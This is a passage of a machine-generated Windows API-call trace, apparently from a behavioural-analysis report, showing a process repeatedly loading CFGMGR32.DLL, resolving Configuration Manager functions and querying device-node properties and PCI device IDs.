[0206.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.249] malloc (_Size=0x18) returned 0x20abc281fa0 [0206.249] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.250] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36b2bb8f, dwHighDateTime=0x1d9eb0c)) [0206.250] SetEvent (hEvent=0x248) returned 1 [0206.253] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.253] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.292] malloc (_Size=0x18) returned 0x20abc281be0 [0206.292] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.292] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36b9e17c, dwHighDateTime=0x1d9eb0c)) [0206.292] SetEvent (hEvent=0x248) returned 1 [0206.295] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.295] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.299] malloc (_Size=0x18) returned 0x20abc281ac0 [0206.299] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0206.299] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36b9e17c, dwHighDateTime=0x1d9eb0c)) [0206.300] SetEvent (hEvent=0x248) returned 1 [0206.304] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.304] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.308] malloc (_Size=0x18) returned 0x20abc281a20 [0206.308] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.310] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36bc44f7, dwHighDateTime=0x1d9eb0c)) [0206.311] SetEvent (hEvent=0x248) returned 1 [0206.315] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.315] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.678] malloc (_Size=0x18) returned 0x20abc281c80 [0206.678] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2b, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0206.678] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x36f57c8f, dwHighDateTime=0x1d9eb0c)) [0206.679] SetEvent (hEvent=0x248) returned 1 [0206.683] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.683] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.686] malloc (_Size=0x18) returned 0x20abc2820e0 [0206.686] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2b, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0206.686] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x36f57c8f, dwHighDateTime=0x1d9eb0c)) [0206.686] SetEvent (hEvent=0x248) returned 1 [0206.689] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.689] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.692] malloc (_Size=0x18) returned 0x20abc281ce0 [0206.693] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.693] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36f7dede, dwHighDateTime=0x1d9eb0c)) [0206.694] SetEvent (hEvent=0x248) returned 1 [0206.699] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.699] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.702] malloc (_Size=0x18) returned 0x20abc281fc0 [0206.702] CM_Get_Device_IDA (in: dnDevInst=0x2, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&28") returned 0x0 [0206.702] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x36f7dede, dwHighDateTime=0x1d9eb0c)) [0206.702] SetEvent (hEvent=0x248) returned 1 [0206.705] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 